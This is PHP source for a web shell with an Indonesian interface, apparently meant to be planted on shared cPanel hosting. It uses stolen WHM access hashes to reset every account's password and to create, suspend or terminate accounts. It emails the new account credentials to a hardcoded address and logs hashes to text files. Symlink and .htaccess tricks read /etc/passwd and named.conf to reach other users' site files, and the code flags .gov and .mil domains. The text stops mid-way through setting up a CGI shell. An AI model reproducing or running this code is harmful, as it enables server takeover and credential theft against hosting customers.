$this->fp = fsockopen("ssl://" . $this->host, 2087, $errno, $errstr, 30);
//$this->fp = fsockopen("ssl://" . $this->host, 2087, $errno, $errstr, 30);
if ($errno == 0 && $this->fp == false){
$this->errors[]="Socket Error: Could not initialize socket.";
return false;}
elseif ($this->fp == false){
$this->errors[]="Socket Error #" . $errno . ": " . $errstr;
return false;}
$header = "";
$header .= "GET " . $api_path . " HTTP/1.0
";
$header .= "Host: " . $this->host . "
";
$header .= "Connection: Close
";
$header .= "Authorization: WHM " . $this->user . ":" . $this->accessHash . "
";
//$header .= "Authorization: Basic " . base64_encode($user . ":" . $pass) . "
";
$header .= "
";
if(!@fputs($this->fp, $header)){
$this->errors[]='Unable to send header.';
return false;}}
function disconnect(){
fclose($this->fp);}
function getOutput(){
$rawResult = "";
while (!feof($this->fp)){
$rawResult .= @fgets($this->fp, 128);}
$rawResultParts = explode("

",$rawResult);
$result = $rawResultParts[1];
return $result;}
function version(){
$this->connect('/xml-api/version');
$xmlstr=$this->getOutput();
if($xmlstr==''){
$this->errors[]='No output.';
return false;}
$this->disconnect();
$xml = new SimpleXMLElement($xmlstr);
return $xml->version;
}
function gethostname(){
$this->connect('/xml-api/gethostname');
$xmlstr=$this->getOutput();
if($xmlstr==''){
$this->errors[]='No output.';
return false;}
$this->disconnect();
$xml = new SimpleXMLElement($xmlstr);
return $xml->hostname;
}
function passwd($accUser,$pass){
$this->connect("/xml-api/passwd?user=$accUser&pass=$pass");
$xmlstr=$this->getOutput();
if($xmlstr==''){
$this->errors[]='No output.';
return false;}
$this->disconnect();
$xml = new DOMDocument();
$xml->loadXML($xmlstr);
$list = $xml->getElementsByTagName('statusmsg');
$i=0;
foreach ($list AS $element){
foreach ($element->childNodes AS $item){
$result[$i]['statusmsg']=$item->nodeValue;
$i++;}}
$list = $xml->getElementsByTagName('rawout');
$i=0;
foreach ($list AS $element){
foreach ($element->childNodes AS $item){
$result[$i]['rawout']=$item->nodeValue;
$i++;}}
if($result){
foreach ($result as $item => $output){
echo '</p>';
echo '<center><font class=olenk4>Password Berhasil Diganti</center><p><center>';
echo $output[rawout];
echo '</center>';
}
}else{
echo '<p><center><font class=olenk5>Tidak dapat tersambung ke server.. Mungkin hash access tidak valid..!!</font></p></div>';
}
echo '</center>';
}
function suspend($acctUser) {
$this->connect("/xml-api/suspendacct?user=$acctUser");
$xmlstr=$this->getOutput();
if($xmlstr==''){
$this->errors[]='No output.';
return false;}
$this->disconnect();
$xml = new DOMDocument();
$xml->loadXML($xmlstr);
$list = $xml->getElementsByTagName('statusmsg');
$i=0;
foreach ($list AS $element){
foreach ($element->childNodes AS $item){
$result[$i]['statusmsg']=$item->nodeValue;
$i++;}}
if($result){
echo '<table class=olenk border="1">
<tr><td><b>Suspended Account</b></tr></td>';
foreach ($result as $item => $output){
echo '<tr><td class=olenk4>';
echo $output[statusmsg];
echo '</td></tr>';
}
}
else{
echo '<p><center><font class=olenk5>Tidak dapat tersambung ke server.. Mungkin hash access tidak valid..!!</font></p>';
}
echo '</table>';
}
function createAccount($acctDomain,$acctUser,$acctPass,$acctPackg,$acctEmail){
$this->connect("/xml-api/createacct?username=$acctUser&password=$acctPass&plan=$acctPackg&domain=$acctDomain&contactemail=$acctEmail&ip=y&cgi=y&frontpage=y&cpmod=x3&useregns=1&reseller=0");
$xmlstr=$this->getOutput();
if($xmlstr==''){
$this->errors[]='No output.';
return false;}
$this->disconnect();
$xml = new DOMDocument();
$xml->loadXML($xmlstr);
$list = $xml->getElementsByTagName('statusmsg');
$i=0;
foreach ($list AS $element){
foreach ($element->childNodes AS $item){
$result[$i]['statusmsg']=$item->nodeValue;
$i++;}}
$list = $xml->getElementsByTagName('rawout');
$i=0;
foreach ($list AS $element){
foreach ($element->childNodes AS $item){
$result[$i]['rawout']=$item->nodeValue;
$i++;}}
if($result){
foreach ($result as $item => $output){
echo '<b><p>Status :</b>';
echo $output[statusmsg];
echo '</p>';
echo '<center><font class=olenk4>Login Cpanel Kang</center><br><center><textarea class=olenk>';
echo strip_tags($output[rawout]);
echo '</textarea></center>';
}
}else{
echo '<font class=olenk5><center><p>Tidak dapat tersambung ke server.. Mungkin hash access tidak valid..!!</font></center></p>';
}
}
}
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2"><b>-=[[ RWHM TOOL ]]=-</b></th></center></tr>';
echo '<tr><td>hash</td><td><textarea class=olenk2 cols=40 rows=10 name="hash"></textarea></td></tr>';
echo '<tr><td>hostname</td><td><input class=olenk2 type=text size=40 name="host" value=""></td></tr>';
echo '<tr><td>admin</td><td><input class=olenk2 type=text size=40 name="admin" value=""></td></tr>';
echo '<tr><th colspan="2"><b>-=[[ FUNCTION CHECK ]]=-</b></th></center></tr></table>';
echo '<center>
<input class=olenk3 type="submit"
name="cek-pkgs" value="Cek Package"> <input class=olenk3 type="submit"
name="server" value="Cek Host"> <input class=olenk3 type="submit"
name="cek-acct" value="Cek Akun"> <input class=olenk3 type="submit"  name="tes" value="Cek Hash!"/></center>';
echo '<b><table class=tabnet><tr><td>user cp</td><td><input class=olenk2 type=text size=40 name="User-name" value=""></td></tr>';
echo '<tr><td>new pass</td><td><input class=olenk2 type=text size=40 name="password" value=""></td></tr>';
echo '<tr><td>domain</td><td><input class=olenk2 type=text size=40 name="domain" value=""></td></tr>';
echo '<tr><td>package</td><td><input class=olenk2 type=text size=40 name="plan" value=""></td></tr>';
echo '<tr><th colspan="2"><b>-=[[ EXECUTION ]]=-</b></th></center></tr></table>';
echo '<center><input class=olenk3 type="submit"
name="resetpass" value="Password"> <input class=olenk3 type="submit"
name="create" value="buat akun"> <input class=olenk3 type="submit"
name="suspended" value="Suspended"><br><input class=olenk3 type="submit"
name="unsuspend" value="Unsuspend"> <input class=olenk3 type="submit"
name="terminate" value="Terminate"></center>
</form>';

//terminate
set_time_limit(0);
if(isset($_POST['terminate'])){
$whm_host = $_POST['host'];
$whm_user = $_POST['admin'];
$whm_key  = $_POST['hash'];
$User = $_POST['User-name'];
if (!file_exists($whm_metode)) {
die($whm_metode . " does not exist. Please update program
with correct path to your WHM interface file.");}
if (!empty($whm_key)) {
require_once $whm_metode;
$tes = killacct ($whm_host, $whm_user, $whm_key, $whm_ssl, $User);
if($tes){
echo '<pre>';
print_r($tes);
echo '</pre>';
}}
}

//cek akun
set_time_limit(0);
if(isset($_POST['cek-acct'])){
$whm_host = $_POST['host'];
$whm_user = $_POST['admin'];
$whm_key  = $_POST['hash'];
if (!file_exists($whm_metode)) {
die($whm_metode . " does not exist. Please update program
with correct path to your WHM interface file.");}
if (!empty($whm_key)) {
require_once $whm_metode;
$tes = listaccts ($whm_host, $whm_user, $whm_key, $whm_ssl);
if($tes){
echo '<pre>';
print_r($tes);
echo '</pre>';
}
}
}

//ganti password
set_time_limit(0);
if(isset($_POST['resetpass'])){
echo '<div class="result">';
echo '<div class="a">';
$anu1 = $_POST['host'];
$anu2 = $_POST['admin'];
$anu3 = $_POST['hash'];
$User = $_POST['User-name'];
$newpass = $_POST['password'];
if (!empty($anu2)) {
$test= new whm;
$test->init("$anu1","$anu2","$anu3");
$result=$test->passwd("$User","$newpass");
print $result;
echo "</center></div>";
echo "</div>";}}
//cek package
set_time_limit(0);
if(isset($_POST['cek-pkgs'])){
$whm_host = $_POST['host'];
$whm_user = $_POST['admin'];
$whm_key  = $_POST['hash'];
if (!file_exists($whm_metode)) {
die($whm_metode . " does not exist. Please update program
with correct path to your WHM interface file.");}
if (!empty($whm_key)) {
require_once $whm_metode;
$tes = listpkgs ($whm_host, $whm_user, $whm_key, $whm_ssl);
if($tes){
echo '<pre>';
print_r($tes);
echo '</pre>';
}
}
}

//suspended
set_time_limit(0);
if(isset($_POST['suspended'])){
echo '<div class="result">';
echo '<div class="a">';
$anu1 = $_POST['host'];
$anu2 = $_POST['admin'];
$anu3 = $_POST['hash'];
$User = $_POST['User-name'];
if (!empty($anu2)) {
$test= new whm;
$test->init("$anu1","$anu2","$anu3");
$result=$test->suspend("$User");
print $result;
echo "</center></div>";
echo "</div>";}}

//hostname
set_time_limit(0);
if(isset($_POST['server'])){
echo '<div class="result">';
echo '<div class="a">';
$anu1 = $_POST['host'];
$anu2 = $_POST['admin'];
$anu3 = $_POST['hash'];
if (!empty($anu2)) {
$test= new whm;
$test->init("$anu1","$anu2","$anu3");
echo "<p><center>";
$host=$test->gethostname();
echo 'HostName : ';
echo $host;
echo '</p><p>Version : ';
$versi=$test->version();
echo $versi;
echo '</p></center></div></div>';}}

//cek hash
set_time_limit(0);
if(isset($_POST['tes'])){
echo '<div id="result">';
$whmhost = $_POST['host'];
$whmuser = $_POST['admin'];
$whmhash = $_POST['hash'];
function getVar($name, $def = '') {
  if (isset($_REQUEST[$name]))
    return $_REQUEST[$name];
  else
    return $def;
}
if (!empty($whmuser)) {

$query = "https://$whmhost:2087"; 
$curl = curl_init(); 
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0 ); 
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0 ); 
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1); 
$header[0] = "Authorization: WHM $whmuser:" . preg_replace("'(
|
)'","",$whmhash); 
curl_setopt($curl,CURLOPT_HTTPHEADER,$header); 
curl_setopt($curl, CURLOPT_URL, $query); 
$result = curl_exec($curl); 
if ($result == false) { 
error_log("curl_exec threw error \"" . curl_error($curl) . "\" for $query"); 
} 
            curl_close($curl);
            if (strpos($result, "<noframes>WebHost Manager") !== false) {
                echo "<br/><center>Mantap Kang.!</b><br/>";
                echo "<br/>Setelah diteliti di ITB & IPB ternyata hash'nya:<br> &nbsp;&nbsp;&nbsp;<font color='green'>masih aktif.!! </font><br/>";
                } else {
                echo "<br/><center>Gatot Ga.!</b><br/>";
                  echo "<br/>Setelah diteliti di ITB & IPB ternyata hash'nya:<br> &nbsp;&nbsp;&nbsp;<font color='red'>Sudah tidak aktif lagi </font><br/>";
                  }
    }
}

//unsuspended
set_time_limit(0);
if(isset($_POST['unsuspend'])){
$whm_host = $_POST['host'];
$whm_user = $_POST['admin'];
$whm_key  = $_POST['hash'];
$User = $_POST['User-name'];
if (!file_exists($whm_metode)) {
die($whm_metode . " does not exist. Please update program
with correct path to your WHM interface file.");}
if (!empty($whm_key)) {
require_once $whm_metode;
$tes = unsuspend ($whm_host, $whm_user, $whm_key, $whm_ssl, $User);
if($tes){
echo '<pre>';
print_r($tes);
echo '</pre>';
}}
}

//fungsi create
set_time_limit(0);
$whm_interface_path = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
function getVar($name, $def = '') {
  if (isset($_REQUEST[$name]))
    return $_REQUEST[$name];
  else
    return $def;
}
//create account
$II11II11II11II11 = fopen("olenktea.txt","a");
set_time_limit(0);
header('Content-Type: text/html; charset=UTF-8');
$whm_interface_path = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
if (isset($_POST['create'])) {
    echo '<div id="result">';
    if (!isset($whm_user)) {
        $whm_user = getVar('admin');
    }
    if (!isset($whm_host)) {
        $whm_host = getVar('host');
    }
    $whm_usessl = 1;
    if (!isset($whm_key)) {
        $whm_key = getVar('hash');
    }
    if (!isset($user_domain)) {
        $user_domain = getVar('domain');
    }
    if (!isset($user_name)) {
        $user_name = getVar('User-name');
    }
    if (!isset($user_pass)) {
        $user_pass = getVar('password');
    }
    if (!isset($user_plan)) {
        $user_plan = getVar('plan');
    }
    if (!file_exists($whm_interface_path)) {
        die($whm_interface_path . " does not exist. Please update program with correct path to your WHM interface file.");
    }
    if(!empty($user_name)) {
require_once $whm_interface_path;
$result = createacct($whm_host,$whm_user,$whm_key,$whm_usessl,$user_domain,$user_name,$user_pass,$user_plan);
if(eregi("Account Creation Ok", $result)){
$awal = explode("Dns Zone check is enabled.", $result);
$filter = explode('Running', $awal[1]);
$memek = explode("| Domain: ", $result);
$memekjanda = explode('| Ip:', $memek[1]); 
$memekk = explode("| Ip:", $result);
$memekjandaa = explode('(n)', $memekk[1]);
$memekkk = explode("| UserName:",$result);
$memekjandaaa = explode("| PassWord:",$memekkk[1]);
$memekkkk = explode("| PassWord:",$result);
$memekjandaaaa = explode("| CpanelMod:",$memekkkk[1]);
$dari = '[email protected]';
$subject = 'Cpanel Remote Account';
$tujuan = '[email protected]'; 
$httpheader='From:'.$dari."rn".'To:'.$tujuan."rn".'Subjecbject:'.$subject."rn".'Content-type:text/plain;charset=iso-8859-1'."rn".'Sent:'.date('l, F d, Y H:i'); 
mail($tujuan,$subject,$filter[0],$httpheader);
echo "<center><br /><pre><font color=cyan>$filter[0]</font></pre>";
echo '<span class=X><nobr><img src="http://dedekuntoro.wapsite.me/images/salaman.gif"> ACCOUNT CREATED <img src="http://dedekuntoro.wapsite.me/images/goodluck.gif"></nobr><br></span>';
$separator = "+==========================./olenktea+rn";
fwrite($II11II11II11II11,$separator."New Account Information rn".$separator);
fwrite($II11II11II11II11,"WHM USER : ".$whm_user."rn");
fwrite($II11II11II11II11,"WHM HOST : ".$whm_host."rn");
 
fwrite($II11II11II11II11,$whm_key."rn");
fwrite($II11II11II11II11,$filter[0]."rn");
fwrite($II11II11II11II11,"rn");
 
fclose($II11II11II11II11); 
} else { 
echo "<center><h3>Failed </h3>";
}
if(eregi("Access Denied", $result)) {
echo "<center>Access Denied</center><br/><br/>";
} 
if(eregi("Sorry, a passwd entry for that username already exists.", $result)) {
echo "<center>Sorry, a passwd entry for that username already exists.</center><br/><br/>";
} 
if(eregi("Sorry, a DNS entry for", $result)){
echo "<center>Sorry, a DNS entry already exists</center><br/><br/>";
}
} 
echo "<br /><br />";
}
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk13')) {
?>
<form action="?&amp;idb=olenk13" method="post">
<?php
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2"><b>-=[[ GANTI SEMUA PASSWORD CP ]]=-</b></th></center></tr>';
echo '<tr><td>hash</td><td><textarea class=olenk2 cols=40 rows=10 name="hash"></textarea></td></tr>';
echo '<tr><td>hostname</td><td><input class=olenk2 type=text size=40 name="host" value=""></td></tr>';
echo '<tr><td>admin</td><td><input class=olenk2 type=text size=40 name="admin" value=""></td></tr>';
echo '<tr><td>pass baru</td><td><input class=olenk2 type=text size=40 name="newpass" value=""></td></tr>';
echo '</table>';
echo '<input class=olenk3 type="submit"
name="ganti" value="ganti kabeh">';
echo '<pre>';
echo '</pre>';
//mulai eksekusi
set_time_limit(0);
if(isset($_POST['ganti'])){
$whmhost = $_POST['host'];
$whmuser = $_POST['admin'];
$whmhash = $_POST['hash'];
$newpassword = $_POST['newpass'];
$query="https://$whmhost:2087/json-api/listaccts";
$curl=curl_init();
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0 );
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0 );
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
$header[0]="Authorization: WHM $whmuser:" . preg_replace ("'(
|
)'","",$whmhash);
curl_setopt($curl,CURLOPT_HTTPHEADER,$header);
curl_setopt($curl, CURLOPT_URL, $query);
$result=curl_exec($curl);
if ($result == false) {
error_log("curl_exec threw error \"" . curl_error($curl) . "\" for $query"); 
}
curl_close($curl);
$result=json_decode($result);
foreach ($result->acct as $acct){
$user=$acct->user;
$pass=$newpassword;
$login = "<a href=http://$whmhost:2082/login/?user=$user&pass=$pass>login cpanel</a>";
$query1="https://".$whmhost.":2087/json-api/passwd?user=".$user."&pass=".$pass;
$curl1=curl_init();
curl_setopt($curl1, CURLOPT_SSL_VERIFYHOST,0 );
curl_setopt($curl1, CURLOPT_SSL_VERIFYPEER,0 );
curl_setopt($curl1, CURLOPT_RETURNTRANSFER,1);
$header[0]="Authorization: WHM $whmuser:" . preg_replace ("'(
|
)'","",$whmhash);
curl_setopt($curl1,CURLOPT_HTTPHEADER,$header);
curl_setopt($curl1, CURLOPT_URL, $query1);
$result1=curl_exec($curl1);
if ($result1 == false) {
error_log("curl_exec threw error \"" . curl_error($curl1) . "\" for $query1"); 
}
curl_close($curl1);
$hasil=json_decode($result1);
echo "<pre>";
foreach ($hasil->passwd as $sm){
$change=$sm->statusmsg;
echo "$change <br><center><br>$login<br>";
$file = fopen("olenk.txt", "a");
fputs($file, "$login <hr>");
fclose($file);
}
}
}
}
?>
<?php
if(isset($_GET['roct']) && ($_GET['roct'] == 'olenk2'))
    {
    @session_start();
    @set_time_limit(0);
    @ini_set('max_execution_time', 0);
    if ($win) {
        echo "<center><br/><br/><nobr><span class='olenk5'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
    }
    @mkdir('roct1', 0777);
    $sempak = "Options all 
 
DirectoryIndex roct.html 
 
AddType text/plain .php 
 
AddHandler server-parsed .php 
  
AddType text/plain .html 
 
AddHandler txt .html 
 
Require None 
 
Satisfy Any";
    $masuk = @fopen('roct1/.htaccess', 'w');
    fwrite($masuk, $sempak);
    @symlink('/', 'roct1/roct.txt');
    $pg = basename(__FILE__);
    if (is_readable("/var/named")) {
        echo '<center><br/><br/><nobr><b><span class="olenk4">-=[[ SYMLINK</span> <span class="olenk5">VAR/NAMED ]]=-</span></b></nobr><br/><br/></center>
<table align="center" border="3" width="400" cellspacing="0" cellpadding="0">
<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
<td align="center"> <font color="white"> <b>_USERS_</b></td>
<td align="center"> <font color="white"> <b>_SYMLINK_</b></center></td>';
        $list = scandir("/var/named");
        foreach ($list as $domain) {
            if (strpos($domain, ".db")) {
                @error_reporting(0);
                @ini_set('log_errors', 0);
                @ini_set('error_log', NULL);
                $i+= 1;
                $domain = str_replace('.db', '', $domain);
                $owner = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
                echo "<tr>
<td><a class='olenk4' href='http://" . $domain . " '>" . $domain . "</a></td>
<td align='center'><font color='white'>" . $owner['name'] . "</td>
<td align='center'><a href='roct1/roct.txt" . $owner['dir'] . "/public_html/' target='_blank'>Symlink</a></td>";
            }
        }
        flush();
        flush();
    }
    echo "</tr></table></div></html>";
}
if(isset($_GET['roct']) && ($_GET['roct'] == 'olenk3'))
    {    
    @session_start();
    @set_time_limit(0);
    @error_reporting(0);
    @ini_set('log_errors', 0);
    @ini_set('error_log', NULL);
    @ini_set('max_execution_time', 0);
    if ($win) {
        echo "<center><br/><br/><nobr><span class='olenk5'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
    }
    @mkdir('roct2', 0777);
    $sempak = "Options all 
 
DirectoryIndex roct.html 
 
AddType text/plain .php 
 
AddHandler server-parsed .php 
  
AddType text/plain .html 
 
AddHandler txt .html 
 
Require None 
 
Satisfy Any";
    $masuk = @fopen('roct2/.htaccess', 'w');
    fwrite($masuk, $sempak);
    @symlink('/', 'roct2/roct.txt');
    $pg = basename(__FILE__);
    if (is_readable("/etc/passwd-")) {
        $gelartiker = 'file_get_contents';
        $seret = '/etc/passwd-';
        $isikarung = $gelartiker($seret);
        $buka = fopen('maho.txt', 'w');
        fwrite($buka, $isikarung);
    }
    if (isset($_GET['file']) or @filesize('maho.txt') > 0) {
        $cont = stripcslashes($_POST['file']);
        if (!file_exists('maho.txt')) {
            $f = @fopen('maho.txt', 'w');
            $w = @fwrite($f, $cont);
            fclose($f);
        }
        if ($w or @filesize('maho.txt') > 0) {
            echo "<center><br/><br/><nobr><b><span class='olenk4'>-=[[ SYMLINK</span> <span class='olenk5'>ETC/PASSWD- ]]=-</span></b></nobr><br/><br/><table align='center' border='3' width='400' cellspacing='0' cellpadding='0'> 
<td align='center'> <font color='white'> <b>_USERS_</b></td>
<td align='center'> <font color='white'> <b>_SYMLINK_</b></td>";
            flush();
            $fil3 = file('maho.txt');
            foreach ($fil3 as $f) {
                $u = explode(':', $f);
                $user = $u['0'];
                echo "<tr>
<td align='center'><font color='white'>$user</td>
<td align='center'><a class='olenk4' href='roct2/roct.txt/home/$user/public_html' target='_blank'>Symlink</a></td></tr>";
                flush();
                flush();
            }
            echo "</tr></table></div></html>";
        }
    }
}
if(isset($_GET['roct']) && ($_GET['roct'] == 'olenk4'))
    {
    @session_start();
    @set_time_limit(0);
    @error_reporting(0);
    @ini_set('log_errors', 0);
    @ini_set('error_log', NULL);
    @ini_set('max_execution_time', 0);
    if ($win) {
        echo "<center><br/><br/><nobr><span class='olenk5'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
    }
    @mkdir('roct3', 0777);
    $sempak = "Options all 
 
DirectoryIndex roct.html 
 
AddType text/plain .php 
 
AddHandler server-parsed .php 
  
AddType text/plain .html 
 
AddHandler txt .html 
 
Require None 
 
Satisfy Any";
    $masuk = @fopen('roct3/.htaccess', 'w');
    fwrite($masuk, $sempak);
    @symlink('/', 'roct3/roct.txt');
    $pg = basename(__FILE__);
    $etc = file_get_contents("/etc/passwd");
    $etcz = explode("
", $etc);
    if (is_readable("/etc/passwd")) {
        echo '<center><br/><br/><nobr><b><span class="olenk4">-=[[ SYMLINK</span> <span class="olenk5">ETC/PASSWD ]]=-</span></b></nobr><br/><br/> <table align="center" border="3" width="400" cellspacing="0" cellpadding="4">';
        echo '<tr>
<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
<td align="center"> <font color="white"> <b>_USERS_</b></td>
<td align="center"> <font color="white"> <b>_SYMLINK_</b></td>';
        $list = scandir("/var/named");
        foreach ($etcz as $etz) {
            $etcc = explode(":", $etz);
            foreach ($list as $domain) {
                if (strpos($domain, ".db")) {
                    $domain = str_replace('.db', '', $domain);
                    $owner = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
                    if ($owner['name'] == $etcc[0]) {
                        $i+= 1;
                        echo "<tr>
<td><a class='olenk4' href='http://" . $domain . " '>" . $domain . "</a></td>
<td align='center'><font color='white'>" . $owner['name'] . "</font></td>
<td align='center'><a href='roct3/roct.txt" . $owner['dir'] . "/public_html/' target='_blank'>Symlink</a></td>";
                    }
                }
            }
        }
        flush();
        flush();
    }
    echo "</tr></table></div></html>";
}
if(isset($_GET['roct']) && ($_GET['roct'] == 'olenk5'))
    {
    @session_start();
    @set_time_limit(0);
    @error_reporting(0);
    @ini_set('log_errors', 0);
    @ini_set('error_log', NULL);
    @ini_set('max_execution_time', 0);
    if ($win) {
        echo "<center><br/><br/><nobr><span class='olenk5'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
    }
    @mkdir('roct4', 0777);
    $sempak = "Options all 
 
DirectoryIndex roct.html 
 
AddType text/plain .php 
 
AddHandler server-parsed .php 
  
AddType text/plain .html 
 
AddHandler txt .html 
 
Require None 
 
Satisfy Any";
    $masuk = @fopen('roct4/.htaccess', 'w');
    fwrite($masuk, $sempak);
    @symlink('/', 'roct4/roct.txt');
    $pg = basename(__FILE__);
    if (is_readable("/etc/named.conf")) {
        echo '<center><br/><br/><nobr><b><span class="olenk4">-=[[ SYMLINK</span> <span class="olenk5">ETC/NAMED.CONF ]]=-</span></b></nobr><br/><br/> <table align="center" border="3" width="400" cellspacing="0" cellpadding="4">';
        echo '<tr>
<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
<td align="center"> <font color="white"> <b>_USERS_</b></td>
<td align="center"> <font color="white"> <b>_SYMLINK_</b></td>';
        $named = file_get_contents("/etc/named.conf");
        preg_match_all('%zone \"(.*)\" {%', $named, $domains);
        foreach ($domains[1] as $domain) {
            $domain = trim($domain);
            $i+= 1;
            $owner = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
            echo "<tr>
<td><a class='olenk4' href='http://" . $domain . " '>" . $domain . "</a></td>
<td align='center'><font color='white'>" . $owner['name'] . "</font></td>
<td align='center'><a href='roct4/roct.txt" . $owner['dir'] . "/public_html' target='_blank'>Symlink</a></td>";
        }
        flush();
        flush();
    }
    echo "</tr></table></div></html>";
}
if(isset($_GET['roct']) && ($_GET['roct'] == 'olenk6'))
    {
    @session_start();
    @set_time_limit(0);
    @error_reporting(0);
    @ini_set('log_errors', 0);
    @ini_set('error_log', NULL);
    @ini_set('max_execution_time', 0);
    if ($win) {
        echo "<center><br/><br/><nobr><span class='olenk5'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
    }
    @mkdir('roct5', 0777);
    $sempak = "Options all 
 
DirectoryIndex roct.html 
 
AddType text/plain .php 
 
AddHandler server-parsed .php 
  
AddType text/plain .html 
 
AddHandler txt .html 
 
Require None 
 
Satisfy Any";
    $masuk = @fopen('roct5/.htaccess', 'w');
    fwrite($masuk, $sempak);
    @symlink('/', 'roct5/roct.txt');
    $pg = basename(__FILE__);
    $read_named_conf = @file('/etc/named.conf');
    if (!$read_named_conf) {
        echo "<center><br/><br/><nobr><span class='olenk5'>Can't Read File etc/named.conf :(</span></nobr><br/><br/>";
    } else {
        echo "<center><br/><br/><nobr><b><span class='olenk4'>-=[[ SYMLINK</span> <span class='olenk5'>ETC/NAMED.CONF II ]]=-</span></b></nobr><br/><br/> <table border='3' bordercolor='#FF0000' width='400' cellpadding='1' cellspacing='0'>
<td align='center'> <font color='white'> <b>_DOMAINS_</b></td>
<td align='center'> <font color='white'> <b>_USERS_</b></td>
<td align='center'> <font color='white'> <b>_SYMLINK_</b></td>";
        foreach ($read_named_conf as $subject) {
            if (eregi('zone', $subject)) {
                preg_match_all('#zone"(.*)"#', $subject, $string);
                flush();
                if (strlen(trim($string[1][0])) > 2) {
                    $UID = posix_getpwuid(@fileowner('/etc/valiases/' . $string[1][0]));
                    $name = $UID['name'];
                    @symlink('/', 'roct5/roct.txt');
                    $name = $string[1][0];
                    $australia = '\.au';
                    $bangladesh = '\.bd';
                    $brazil = '\.br';
                    $malaysia = '\.my';
                    $myanmar = '\.mm';
                    $indonesia = '\.id';
                    $israel = '\.il';
                    $romania = '\.ro';
                    $edu = '\.edu';
                    $gov = '\.gov';
                    $go = '\.go';
                    $gob = '\.gob';
                    $mil = '\.mil';
                    if (eregi("$australia", $string[1][0]) or eregi("$bangladesh", $string[1][0]) or eregi("$brazil", $string[1][0]) or eregi("$malaysia", $string[1][0]) or eregi("$myanmar", $string[1][0]) or eregi("$indonesia", $string[1][0]) or eregi("$israel", $string[1][0]) or eregi("$romania", $string[1][0]) or eregi("$edu", $string[1][0]) or eregi("$gov", $string[1][0]) or eregi("$go", $string[1][0]) or eregi("$gob", $string[1][0]) or eregi("$mil", $string[1][0]) or eregi("$mil2", $string[1][0])) {
                        $name = "<div style=' color:yellow ; text-shadow: 0px 0px 1px red; '>" . $string[1][0] . '</div>';
                    }
                    echo "<tr>
<td><a class='olenk4' target='_blank' href=http://" . $string[1][0] . '/>' . $name . ' </a></center></div></td>
<td align=center><font color=white>' . $UID['name'] . "</td>
<td align=center><a href='roct5/roct.txt/home/" . $UID['name'] . "/public_html/' target='_blank'>Symlink </a></td></tr>";
                    flush();
                }
            }
        }
    }
    flush();
    flush();
    echo "</tr></table></div></html>";
}
if(isset($_GET['roct']) && ($_GET['roct'] == 'olenk7'))
    {
    @session_start();
    @set_time_limit(0);
    @error_reporting(0);
    @ini_set('log_errors', 0);
    @ini_set('error_log', NULL);
    @ini_set('max_execution_time', 0);
    if ($win) {
        echo "<center><br/><br/><nobr><span class='olenk5'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
    }
    @mkdir('roct6', 0777);
    $sempak = "Options all 
 
DirectoryIndex roct.html 
 
AddType text/plain .php 
 
AddHandler server-parsed .php 
  
AddType text/plain .html 
 
AddHandler txt .html 
 
Require None 
 
Satisfy Any";
    $masuk = @fopen('roct6/.htaccess', 'w');
    fwrite($masuk, $sempak);
    @symlink('/', 'roct6/roct.txt');
    $pg = basename(__FILE__);
    if (is_readable("/etc/valiases")) {
        echo '<center><br/><br/><nobr><b><span class="olenk4">-=[[ SYMLINK</span> <span class="olenk5">ETC/VALIASES ]]=-</span></b></nobr><br/><br/> <table align="center" border="3" width="300" cellspacing="0" cellpadding="4">';
        echo '<tr>
<td align="center"><font color="white"> <b>_DOMAINS_</b></td>
<td align="center"><font color="white"> <b>_USERS_</b></td>
<td align="center"><font color="white"> <b>SYMLINK</b></td>';
        $list = scandir("/etc/valiases");
        foreach ($list as $domain) {
            $i+= 1;
            $owner = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
            echo "<tr>
<td><a class='olenk4' href='http://" . $domain . " '>" . $domain . "</a></td>
<td align='center'><font color='white'>" . $owner['name'] . "</font></td>
<td align='center'><a href='roct6/roct.txt" . $owner['dir'] . "/public_html' target='_blank'>Symlink</a>/td>";
        }
        flush();
        flush();
    }
    echo "</tr></table></div></html>";
}
?>
<?php
if (isset($_GET['pbm']) && ($_GET['pbm'] == 'telnet')) {
echo "<center><br/><br/><nobr><b><span class='olenk4'>-=[[ CGI </span> <span class='olenk5'> SHELL ]]=-</span></b></nobr><br/><br/> ";
    echo "</br></br><center><b><span class='olenk6'> Cek : <a class=olenk4 href='pbm_zone/pbm.zone' target='_blank'>[+] DI SINI [+]</a></center></span></br>";
    mkdir('pbm_zone', 0755);
    chdir('pbm_zone');
    $puting = ".htaccess";
    $buahdada = "$puting";
    $file = fopen($buahdada, 'w');
    $susu = "AddHandler cgi-script .zone";
    fwrite($file, $susu);
    fclose($file);
